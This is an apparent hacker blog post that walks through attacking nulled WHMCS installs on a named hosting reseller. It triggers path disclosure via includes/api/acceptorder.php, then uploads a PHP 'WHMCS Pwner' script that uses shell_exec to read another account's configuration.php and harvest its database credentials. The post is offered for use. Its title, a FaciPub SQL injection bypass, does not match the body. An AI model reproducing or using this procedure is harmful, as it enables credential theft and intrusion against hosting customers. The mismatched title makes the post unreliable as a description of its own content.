FaciPub v6.5 SQL Injection Admin Bypass

You might need to spend a bit of money if you want this to work.
Go to your nulled host.
Append the following after their WHMCS directory (for example www.resellerrocket.com/am/)
Code:
includes/api/acceptorder.php
So the url is now http://www.resellerrocket.com/am/inc...cceptorder.php
Now, legit WHMCS has an extra check here and will not show the error. However if it is nulled, the check is removed and you get the info you need:
Code:
Warning: main(ROOTDIR/includes/orderfunctions.php) [function.main]: failed to open stream: No such file or directory in /home/reseller/public_html/am/includes/api/acceptorder.php on line 0

Warning: main(ROOTDIR/includes/orderfunctions.php) [function.main]: failed to open stream: No such file or directory in /home/reseller/public_html/am/includes/api/acceptorder.php on line 0

Fatal error: main() [function.require]: Failed opening required 'ROOTDIR/includes/orderfunctions.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/reseller/public_html/am/includes/api/acceptorder.php on line 0
Now, get hosting with them. Once you have it, upload a PHP file with these contents:
<?php
echo '<h1>WHMCS Pwner</h1>';
echo '<hr />';
echo '<pre>';
echo shell_exec('cat /home/reseller/public_html/am/configuration.php');
echo '</pre>';
echo '<hr />';
?>
Now open it in your browser and if it works you will now have the username and password for it.

Enjoy.

Penulis : PunJabi Hacker ~ Sebuah blog yang menyediakan berbagai macam informasi

Artikel FaciPub v6.5 SQL Injection Admin Bypass ini dipublish oleh PunJabi Hacker pada hari . Semoga artikel ini dapat bermanfaat.Terimakasih atas kunjungan Anda silahkan tinggalkan komentar.sudah ada 0 komentar: di postingan FaciPub v6.5 SQL Injection Admin Bypass